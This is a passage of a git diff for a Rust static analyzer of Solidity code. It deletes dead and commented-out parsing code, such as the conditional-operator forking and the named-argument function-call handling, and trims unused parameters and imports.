Edge::Context(ContextEdge::Subcontext), - // ); - - // // we want to check if the true branch is possible to take - // analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; - // let mut true_killed = false; - // if true_subctx.is_killed(analyzer).into_expr_err(loc)? - // || true_subctx - // .unreachable(analyzer, arena) - // .into_expr_err(loc)? - // { - // // it was killed, therefore true branch is unreachable. - // // since it is unreachable, we want to not create - // // unnecessary subcontexts - // true_killed = true; - // } - - // // we want to check if the false branch is possible to take - // analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; - // let mut false_killed = false; - // if false_subctx.is_killed(analyzer).into_expr_err(loc)? - // || false_subctx - // .unreachable(analyzer, arena) - // .into_expr_err(loc)? - // { - // // it was killed, therefore true branch is unreachable. - // // since it is unreachable, we want to not create - // // unnecessary subcontexts - // false_killed = true; - // } - - // match (true_killed, false_killed) { - // (true, true) => { - // // both have been killed, delete the child and dont process the bodies - // // println!("BOTH KILLED"); - // ctx.delete_child(analyzer).into_expr_err(loc)?; - // } - // (true, false) => { - // // println!("TRUE KILLED"); - // // the true context has been killed, delete child, process the false fork expression - // // in the parent context and parse the false body - // ctx.delete_child(analyzer).into_expr_err(loc)?; - // analyzer.false_fork_if_cvar(arena, if_expr.clone(), ctx)?; - // if let Some(false_stmt) = false_stmt { - // return analyzer.apply_to_edges( - // ctx, - // loc, - // arena, - // &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); - // Ok(()) - // }, - // ); - // } - // } - // (false, true) => { - // // println!("FALSE KILLED"); - // // the false context has been killed, delete child, process the true fork expression - // // in the parent context and parse the true body - // ctx.delete_child(analyzer).into_expr_err(loc)?; - // analyzer.true_fork_if_cvar(arena, if_expr.clone(), ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_statement( - // arena, - // true_stmt, - // ctx.unchecked(analyzer).into_expr_err(loc)?, - // Some(ctx), - // ); - // Ok(()) - // })?; - // } - // (false, false) => { - // // println!("NEITHER KILLED"); - // // both branches are reachable. process each body - // analyzer.apply_to_edges( - // true_subctx, - // loc, - // arena, - // &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_statement( - // arena, - // true_stmt, - // ctx.unchecked(analyzer).into_expr_err(loc)?, - // Some(ctx), - // ); - // Ok(()) - // }, - // )?; - // if let Some(false_stmt) = false_stmt { - // return analyzer.apply_to_edges( - // false_subctx, - // loc, - // arena, - // &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); - // Ok(()) - // }, - // ); - // } - // } - // } - // Ok(()) - // }) - } - - /// Handles a conditional expression like `if .. else ..` - /// When we have a conditional operator, we create a fork in the context. One side of the fork is - /// if the expression is true, the other is if it is false. - #[tracing::instrument(level = "trace", skip_all)] - fn cond_op_expr( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - if_expr: &Expression, - true_expr: &Expression, - false_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this") - // tracing::trace!("conditional operator"); - // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let true_subctx_kind = SubContextKind::new_fork(ctx, true); - // let tctx = - // Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); - - // let false_subctx_kind = SubContextKind::new_fork(ctx, false); - // let fctx = - // Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); - // ctx.set_child_fork(true_subctx, false_subctx, analyzer) - // .into_expr_err(loc)?; - // let ctx_fork = analyzer.add_node(Node::ContextFork); - // analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - // analyzer.add_edge( - // NodeIdx::from(true_subctx.0), - // ctx_fork, - // Edge::Context(ContextEdge::Subcontext), - // ); - // analyzer.add_edge( - // NodeIdx::from(false_subctx.0), - // ctx_fork, - // Edge::Context(ContextEdge::Subcontext), - // ); - - // analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; - // analyzer.apply_to_edges(true_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_expr(arena, true_expr, ctx) - // })?; - - // analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; - // analyzer.apply_to_edges(false_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_expr(arena, false_expr, ctx) - // }) - // }) - } - - // /// Creates the true_fork cvar (updates bounds assuming its true) - // fn true_fork_if_cvar( - // &mut self, - // arena: &mut RangeArena>, - // if_expr: Expression, - // true_fork_ctx: ContextNode, - // ) -> Result<(), ExprErr> { - // self.apply_to_edges( - // true_fork_ctx, - // if_expr.loc(), - // arena, - // &|analyzer, arena, ctx, _loc| { - // analyzer.handle_require(arena, &[if_expr.clone()], ctx)?; - // Ok(()) - // }, - // ) - // } - - // /// Creates the false_fork cvar (inverts the expression and sets the bounds assuming its false) - // fn false_fork_if_cvar( - // &mut self, - // arena: &mut RangeArena>, - // if_expr: Expression, - // false_fork_ctx: ContextNode, - // ) -> Result<(), ExprErr> { - // let loc = if_expr.loc(); - // let inv_if_expr = self.inverse_expr(if_expr); - // self.apply_to_edges(false_fork_ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - // analyzer.handle_require(arena, &[inv_if_expr.clone()], ctx)?; - // Ok(()) - // }) - // } -} +pub trait CondOp: AnalyzerBackend + Require + Sized {} diff --git a/crates/solc-expressions/src/context_builder/expr.rs b/crates/solc-expressions/src/context_builder/expr.rs deleted file mode 100644 index b3c5bd73..00000000 --- a/crates/solc-expressions/src/context_builder/expr.rs +++ /dev/null @@ -1,41 +0,0 @@ -use crate::ExprTyParser; - -use graph::{ - elem::*, - nodes::{Concrete, ContextNode, KilledKind}, - AnalyzerBackend, -}; -use shared::{post_to_site, ExprErr, IntoExprErr, RangeArena, USE_DEBUG_SITE}; - -use solang_parser::{helpers::CodeLocation, pt::Expression}; - -impl ExpressionParser for T where - T: AnalyzerBackend + Sized + ExprTyParser -{ -} - -/// Solidity expression parser -pub trait ExpressionParser: - AnalyzerBackend + Sized + ExprTyParser -{ - /// Perform setup for parsing an expression - fn parse_ctx_expr( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - unreachable!("dead"); - } - - #[tracing::instrument(level = "trace", skip_all, fields(ctx = %ctx.path(self).replace('.', "\n\t.")))] - /// Perform parsing of an expression - fn parse_ctx_expr_inner( - &mut self, - arena: &mut RangeArena>, - expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - unreachable!("dead"); - } -} diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index c5ba044c..3be05aa5 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1037,7 +1037,7 @@ pub trait Flatten: YulExpr(FlatYulExpr::YulSuffixAccess(..)) => Ok(()), YulExpr(yul @ FlatYulExpr::YulAssign(..)) => self.interp_yul_assign(arena, ctx, yul), YulExpr(yul @ FlatYulExpr::YulFuncDef(..)) => { - self.interp_yul_func_def(arena, ctx, stack, yul, parse_idx) + self.interp_yul_func_def(ctx, stack, yul, parse_idx) } YulExpr(yul @ FlatYulExpr::YulVarDecl(..)) => { self.interp_yul_var_decl(arena, ctx, stack, yul, parse_idx) @@ -1198,6 +1198,13 @@ pub trait Flatten: else { unreachable!() }; + let _ = arena; + let _ = loc; + let _ = condition; + let _ = ctx; + let _ = parse_idx; + let _ = stack; + let _ = body; todo!() } @@ -1219,6 +1226,15 @@ pub trait Flatten: else { unreachable!() }; + let _ = arena; + let _ = loc; + let _ = condition; + let _ = ctx; + let _ = parse_idx; + let _ = stack; + let _ = after_each; + let _ = start; + let _ = body; todo!() } @@ -1841,7 +1857,6 @@ pub trait Flatten: fn interp_yul_func_def( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, stack: &mut Vec, next: FlatYulExpr, diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index b6d05915..be5b2fab 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -1,4 +1,5 @@ //! Trait and blanket implementation for the core parsing loop +use crate::variable::Variable; use graph::{ elem::Elem, nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, KilledKind}, @@ -8,25 +9,16 @@ use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc}; -impl ContextBuilder for T where - T: AnalyzerBackend + Sized + StatementParser -{ -} +impl ContextBuilder for T where T: AnalyzerBackend + Sized {} -mod expr; mod flattened; -mod stmt; mod test_command_runner; -pub use expr::*; pub use flattened::*; -pub use stmt::*; pub use test_command_runner::*; /// Dispatcher for building up a context of a function -pub trait ContextBuilder: - AnalyzerBackend + Sized + StatementParser -{ +pub trait ContextBuilder: AnalyzerBackend + Sized { /// TODO: rename this. Sometimes we dont want to kill a context if we hit an error fn widen_if_limit_hit(&mut self, ctx: ContextNode, maybe_err: Result<(), ExprErr>) -> bool { match maybe_err { diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs deleted file mode 100644 index 9786b061..00000000 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ /dev/null @@ -1,43 +0,0 @@ -use crate::{ExpressionParser, TestCommandRunner}; - -use graph::{elem::Elem, nodes::Concrete, AnalyzerBackend}; -use shared::{ExprErr, NodeIdx, RangeArena}; - -use solang_parser::pt::{Expression, Statement}; - -impl StatementParser for T where - T: AnalyzerBackend + Sized + ExpressionParser -{ -} - -/// Solidity statement parser -pub trait StatementParser: - AnalyzerBackend + Sized + ExpressionParser + TestCommandRunner -{ - /// Performs setup for parsing a solidity statement - fn parse_ctx_statement( - &mut self, - arena: &mut RangeArena>, - stmt: &Statement, - unchecked: bool, - parent_ctx: Option + Copy>, - ) where - Self: Sized, - { - panic!("here"); - } - - #[tracing::instrument(level = "trace", skip_all)] - /// Performs parsing of a solidity statement - fn parse_ctx_stmt_inner( - &mut self, - arena: &mut RangeArena>, - stmt: &Statement, - unchecked: bool, - parent_ctx: Option + Copy>, - ) where - Self: Sized, - { - panic!("here"); - } -} diff --git a/crates/solc-expressions/src/context_builder/test_command_runner.rs b/crates/solc-expressions/src/context_builder/test_command_runner.rs index 3c6a50af..71bb755f 100644 --- a/crates/solc-expressions/src/context_builder/test_command_runner.rs +++ b/crates/solc-expressions/src/context_builder/test_command_runner.rs @@ -1,5 +1,3 @@ -use crate::ExpressionParser; - use graph::{ elem::{Elem, RangeElem}, nodes::{Concrete, ContextNode}, @@ -10,14 +8,12 @@ use shared::{ExprErr, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc}; impl TestCommandRunner for T where - T: AnalyzerBackend + Sized + ExpressionParser + T: AnalyzerBackend + Sized { } /// Solidity statement parser -pub trait TestCommandRunner: - AnalyzerBackend + Sized + ExpressionParser -{ +pub trait TestCommandRunner: AnalyzerBackend + Sized { fn run_test_command( &mut self, arena: &mut RangeArena>, diff --git a/crates/solc-expressions/src/func_call/apply.rs b/crates/solc-expressions/src/func_call/apply.rs index ff8e8dfd..bd67ebc8 100644 --- a/crates/solc-expressions/src/func_call/apply.rs +++ b/crates/solc-expressions/src/func_call/apply.rs @@ -156,7 +156,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body, None); + self.traverse_statement(body, None); self.interpret(func, body.loc(), arena) } @@ -205,7 +205,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body, None); + self.traverse_statement(body, None); self.interpret(func, body.loc(), arena) } @@ -253,7 +253,7 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.traverse_statement(&body, None); + self.traverse_statement(body, None); self.interpret(func, body.loc(), arena) } @@ -514,7 +514,7 @@ pub trait FuncApplier: target_ctx, Edge::Context(ContextEdge::Variable), ); - target_ctx.add_var(replacement, self); + target_ctx.add_var(replacement, self).unwrap(); if let Some(param_ty) = VarType::try_from_idx(self, param.ty(self).unwrap()) { if !replacement.ty_eq_ty(¶m_ty, self).into_expr_err(loc)? { diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index a5b289c2..37104c4d 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -3,8 +3,6 @@ use crate::{ func_call::{apply::FuncApplier, modifier::ModifierCaller}, helper::CallerHelper, - internal_call::InternalFuncCaller, - namespaced_call::NameSpaceFuncCaller, ContextBuilder, Flatten, }; @@ -18,101 +16,10 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; -use solang_parser::pt::{CodeLocation, Expression, Loc, NamedArgument}; +use solang_parser::pt::{CodeLocation, Expression, Loc}; use std::collections::BTreeMap; -#[derive(Debug)] -pub enum NamedOrUnnamedArgs<'a> { - Named(&'a [NamedArgument]), - Unnamed(&'a [Expression]), -} - -impl<'a> NamedOrUnnamedArgs<'a> { - pub fn named_args(&self) -> Option<&'a [NamedArgument]> { - match self { - NamedOrUnnamedArgs::Named(inner) => Some(inner), - _ => None, - } - } - - pub fn unnamed_args(&self) -> Option<&'a [Expression]> { - match self { - NamedOrUnnamedArgs::Unnamed(inner) => Some(inner), - _ => None, - } - } - - pub fn len(&self) -> usize { - match self { - NamedOrUnnamedArgs::Unnamed(inner) => inner.len(), - NamedOrUnnamedArgs::Named(inner) => inner.len(), - } - } - - pub fn is_empty(&self) -> bool { - match self { - NamedOrUnnamedArgs::Unnamed(inner) => inner.len() == 0, - NamedOrUnnamedArgs::Named(inner) => inner.len() == 0, - } - } - - pub fn exprs(&self) -> Vec { - match self { - NamedOrUnnamedArgs::Unnamed(inner) => inner.to_vec(), - NamedOrUnnamedArgs::Named(inner) => inner.iter().map(|i| i.expr.clone()).collect(), - } - } - - pub fn parse( - &self, - arena: &mut RangeArena>, - analyzer: &mut (impl AnalyzerBackend + Sized), - ctx: ContextNode, - loc: Loc, - ) -> Result<(), ExprErr> { - unreachable!("should not exist"); - } - - pub fn parse_n( - &self, - arena: &mut RangeArena>, - n: usize, - analyzer: &mut (impl AnalyzerBackend + Sized), - ctx: ContextNode, - loc: Loc, - ) -> Result<(), ExprErr> { - unreachable!("should not exist"); - } - - pub fn order(&self, inputs: ExprRet, ordered_params: Vec) -> ExprRet { - if inputs.len() < 2 { - inputs - } else { - match self { - NamedOrUnnamedArgs::Unnamed(_inner) => inputs, - NamedOrUnnamedArgs::Named(inner) => ExprRet::Multi( - ordered_params - .iter() - .map(|param| { - let index = inner - .iter() - .enumerate() - .find(|(_i, arg)| &arg.name.name == param) - .unwrap() - .0; - match &inputs { - ExprRet::Multi(inner) => inner[index].clone(), - _ => panic!("Mismatched ExprRet type"), - } - }) - .collect(), - ), - } - } - } -} - impl FuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend { @@ -121,34 +28,6 @@ impl FuncCaller for T where pub trait FuncCaller: GraphBackend + AnalyzerBackend + Sized { - #[tracing::instrument(level = "trace", skip_all)] - /// Perform a function call with named inputs - fn named_fn_call_expr( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - func_expr: &Expression, - input_exprs: &[NamedArgument], - ) -> Result<(), ExprErr> { - use solang_parser::pt::Expression::*; - match func_expr { - MemberAccess(loc, member_expr, ident) => self.call_name_spaced_func( - arena, - ctx, - loc, - member_expr, - ident, - NamedOrUnnamedArgs::Named(input_exprs), - ), - Variable(ident) => self.call_internal_named_func(arena, ctx, loc, ident, input_exprs), - e => Err(ExprErr::IntrinsicNamedArgs( - *loc, - format!("Cannot call intrinsic functions with named arguments. Call: {e:?}"), - )), - } - } - /// Setups up storage variables for a function call and calls it fn setup_fn_call( &mut self, diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 06b3595a..3fcde89d 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -1,19 +1,15 @@ //! Traits & blanket implementations that facilitate performing locally scoped function calls. -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{ - assign::Assign, func_call::func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, - ExpressionParser, -}; +use crate::helper::CallerHelper; use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode}, - AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, VarType, + nodes::{Builtin, Concrete, ContextNode, ExprRet, FunctionNode}, + AnalyzerBackend, GraphBackend, Node, VarType, }; -use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; +use shared::{ExprErr, GraphError, RangeArena}; -use solang_parser::pt::{Expression, Identifier, Loc, NamedArgument}; +use solang_parser::pt::Expression; impl InternalFuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend + CallerHelper @@ -23,164 +19,6 @@ impl InternalFuncCaller for T where pub trait InternalFuncCaller: AnalyzerBackend + Sized + GraphBackend + CallerHelper { - #[tracing::instrument(level = "trace", skip_all)] - /// Perform a named function call - fn call_internal_named_func( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - ident: &Identifier, - input_args: &[NamedArgument], - ) -> Result<(), ExprErr> { - // It is a function call, check if we have the ident in scope - let funcs = ctx.visible_funcs(self).into_expr_err(*loc)?; - // filter down all funcs to those that match - let possible_funcs = funcs - .iter() - .filter(|func| { - let named_correctly = func - .name(self) - .unwrap() - .starts_with(&format!("{}(", ident.name)); - if !named_correctly { - false - } else { - // filter by params - let params = func.params(self); - if params.len() != input_args.len() { - false - } else { - params.iter().all(|param| { - input_args - .iter() - .any(|input| input.name.name == param.name(self).unwrap()) - }) - } - } - }) - .copied() - .collect::>(); - - if possible_funcs.is_empty() { - // check structs - let structs = ctx.visible_structs(self).into_expr_err(*loc)?; - let possible_structs = structs - .iter() - .filter(|strukt| { - let named_correctly = strukt - .name(self) - .unwrap() - .starts_with(&ident.name.to_string()); - if !named_correctly { - false - } else { - // filter by params - let fields = strukt.fields(self); - if fields.len() != input_args.len() { - false - } else { - fields.iter().all(|field| { - input_args - .iter() - .any(|input| input.name.name == field.name(self).unwrap()) - }) - } - } - }) - .copied() - .collect::>(); - if possible_structs.is_empty() { - Err(ExprErr::FunctionNotFound( - *loc, - format!( - "No functions or structs found for named function call: {:?}", - ident.name - ), - )) - } else if possible_structs.len() == 1 { - let strukt = possible_structs[0]; - let var = - ContextVar::new_from_struct(*loc, strukt, ctx, self).into_expr_err(*loc)?; - let cvar = self.add_node(var); - ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; - self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - - strukt.fields(self).iter().try_for_each(|field| { - let field_cvar = ContextVar::maybe_new_from_field( - self, - *loc, - ContextVarNode::from(cvar) - .underlying(self) - .into_expr_err(*loc)?, - field.underlying(self).unwrap().clone(), - ) - .expect("Invalid struct field"); - - let fc_node = self.add_node(field_cvar); - self.add_edge( - fc_node, - cvar, - Edge::Context(ContextEdge::AttrAccess("field")), - ); - self.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(fc_node.into(), self).into_expr_err(*loc)?; - let field_as_ret = ExprRet::Single(fc_node); - let input = input_args - .iter() - .find(|arg| arg.name.name == field.name(self).unwrap()) - .expect("No field in struct in struct construction"); - self.parse_ctx_expr(arena, &input.expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(assignment) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs(loc, "Array creation failed".to_string())); - }; - - if matches!(assignment, ExprRet::CtxKilled(_)) { - ctx.push_expr(assignment, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.match_assign_sides(arena, ctx, loc, &field_as_ret, &assignment)?; - let _ = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; - Ok(()) - }) - })?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, _loc| { - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(*loc)?; - Ok(()) - })?; - Ok(()) - } else { - Err(ExprErr::Todo( - *loc, - "Disambiguation of struct construction not currently supported".to_string(), - )) - } - } else if possible_funcs.len() == 1 { - let func = possible_funcs[0]; - let params = func.params(self); - let inputs: Vec<_> = params - .iter() - .map(|param| { - let input = input_args - .iter() - .find(|arg| arg.name.name == param.name(self).unwrap()) - .expect( - "No parameter with named provided in named parameter function call", - ); - input.expr.clone() - }) - .collect(); - unreachable!() - } else { - todo!("Disambiguate named function call"); - } - } - fn find_super_func( &mut self, arena: &mut RangeArena>, @@ -314,150 +152,4 @@ pub trait InternalFuncCaller: } } } - - #[tracing::instrument(level = "trace", skip_all)] - fn call_internal_func( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - ident: &Identifier, - func_expr: &Expression, - input_exprs: NamedOrUnnamedArgs, - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - // tracing::trace!("function call: {}(..)", ident.name); - // // It is a function call, check if we have the ident in scope - // let funcs = ctx.visible_funcs(self).into_expr_err(*loc)?; - - // // filter down all funcs to those that match - // let possible_funcs = funcs - // .iter() - // .filter(|func| { - // let named_correctly = func - // .name(self) - // .unwrap() - // .starts_with(&format!("{}(", ident.name)); - // if !named_correctly { - // false - // } else { - // // filter by params - // let params = func.params(self); - // if params.len() != input_exprs.len() { - // false - // } else if matches!(input_exprs, NamedOrUnnamedArgs::Named(_)) { - // params.iter().all(|param| { - // input_exprs - // .named_args() - // .unwrap() - // .iter() - // .any(|input| input.name.name == param.name(self).unwrap()) - // }) - // } else { - // true - // } - // } - // }) - // .copied() - // .collect::>(); - - // match possible_funcs.len() { - // 0 => { - // // this is a builtin, cast, or unknown function - // self.parse_ctx_expr(arena, func_expr, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let ret = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // .unwrap_or_else(|| ExprRet::Multi(vec![])); - // let ret = ret.flatten(); - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // unreachable!() - // }) - // } - // 1 => { - // // there is only a single possible function - // input_exprs.parse(arena, self, ctx, *loc)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let mut inputs = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // .unwrap_or_else(|| ExprRet::Multi(vec![])); - // inputs = if let Some(ordered_param_names) = - // possible_funcs[0].maybe_ordered_param_names(analyzer) - // { - // input_exprs.order(inputs, ordered_param_names) - // } else { - // inputs - // }; - // let inputs = inputs.flatten(); - // if matches!(inputs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.setup_fn_call( - // arena, - // &ident.loc, - // &inputs, - // (possible_funcs[0]).into(), - // ctx, - // None, - // ) - // }) - // } - // _ => { - // // this is the annoying case due to function overloading & type inference on number literals - // input_exprs.parse(arena, self, ctx, *loc)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let inputs = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // .unwrap_or_else(|| ExprRet::Multi(vec![])); - // let inputs = inputs.flatten(); - // if matches!(inputs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let resizeables: Vec<_> = inputs.as_flat_vec() - // .iter() - // .map(|idx| { - // match VarType::try_from_idx(analyzer, *idx) { - // Some(VarType::BuiltIn(bn, _)) => { - // matches!(analyzer.node(bn), Node::Builtin(Builtin::Uint(_)) | Node::Builtin(Builtin::Int(_)) | Node::Builtin(Builtin::Bytes(_))) - // } - // Some(VarType::Concrete(c)) => { - // matches!(analyzer.node(c), Node::Concrete(Concrete::Uint(_, _)) | Node::Concrete(Concrete::Int(_, _)) | Node::Concrete(Concrete::Bytes(_, _))) - // } - // _ => false - // } - // }) - // .collect(); - // if let Some(func) = analyzer.disambiguate_fn_call( - // arena, - // &ident.name, - // resizeables, - // &inputs, - // &possible_funcs, - // ) { - // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - // } else { - // Err(ExprErr::FunctionNotFound( - // loc, - // format!( - // "Could not disambiguate function, default input types: {}, possible functions: {:#?}", - // inputs.try_as_func_input_str(analyzer, arena), - // possible_funcs - // .iter() - // .map(|i| i.name(analyzer).unwrap()) - // .collect::>() - // ), - // )) - // } - // }) - // } - // } - } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs b/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs index 421b815a..4419d511 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs @@ -1,12 +1,8 @@ -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{ContextBuilder, ExpressionParser}; - use graph::{ - elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ExprRet}, + nodes::{Builtin, ContextNode, ContextVar, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, IntoExprErr}; use solang_parser::pt::{Expression, Loc}; @@ -71,13 +67,12 @@ pub trait AbiCaller: AnalyzerBackend + Siz fn abi_call_inner( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, func_name: &str, inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "abi.decode" => { // we skip the first because that is what is being decoded. // TODO: check if we have a concrete bytes value @@ -108,122 +103,4 @@ pub trait AbiCaller: AnalyzerBackend + Siz )), } } - /// Perform an `abi.<..>` function call - fn abi_call( - &mut self, - arena: &mut RangeArena>, - func_name: String, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - match &*func_name { - "abi.decode" => { - // we skip the first because that is what is being decoded. - // TODO: check if we have a concrete bytes value - fn match_decode( - ctx: ContextNode, - loc: &Loc, - ret: ExprRet, - analyzer: &mut impl AnalyzerBackend, - ) -> Result<(), ExprErr> { - match ret { - ExprRet::Single(ty) => match analyzer.node(ty) { - Node::Builtin(_) => { - let var = ContextVar::new_from_builtin(*loc, ty.into(), analyzer) - .into_expr_err(*loc)?; - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(node.into(), analyzer).into_expr_err(*loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(*loc)?; - Ok(()) - } - Node::ContextVar(cvar) => { - let bn = analyzer - .builtin_or_add( - cvar.ty.as_builtin(analyzer).into_expr_err(*loc)?, - ) - .into(); - let var = ContextVar::new_from_builtin(*loc, bn, analyzer) - .into_expr_err(*loc)?; - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(node.into(), analyzer).into_expr_err(*loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(*loc)?; - Ok(()) - } - Node::Struct(_) => { - let var = - ContextVar::new_from_struct(*loc, ty.into(), ctx, analyzer) - .into_expr_err(*loc)?; - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(node.into(), analyzer).into_expr_err(*loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(*loc)?; - Ok(()) - } - Node::Contract(_) => { - let var = ContextVar::new_from_contract(*loc, ty.into(), analyzer) - .into_expr_err(*loc)?; - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(node.into(), analyzer).into_expr_err(*loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(*loc)?; - Ok(()) - } - e => todo!("Unhandled type in abi.decode: {e:?}"), - }, - ExprRet::Multi(inner) => inner - .iter() - .try_for_each(|i| match_decode(ctx, loc, i.clone(), analyzer)), - ExprRet::CtxKilled(kind) => { - ctx.kill(analyzer, *loc, kind).into_expr_err(*loc) - } - e => panic!("This is invalid solidity: {:?}", e), - } - } - let input_exprs = input_exprs.unnamed_args().unwrap(); - self.parse_ctx_expr(arena, &input_exprs[1], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "abi.decode was not given the types for decoding".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, 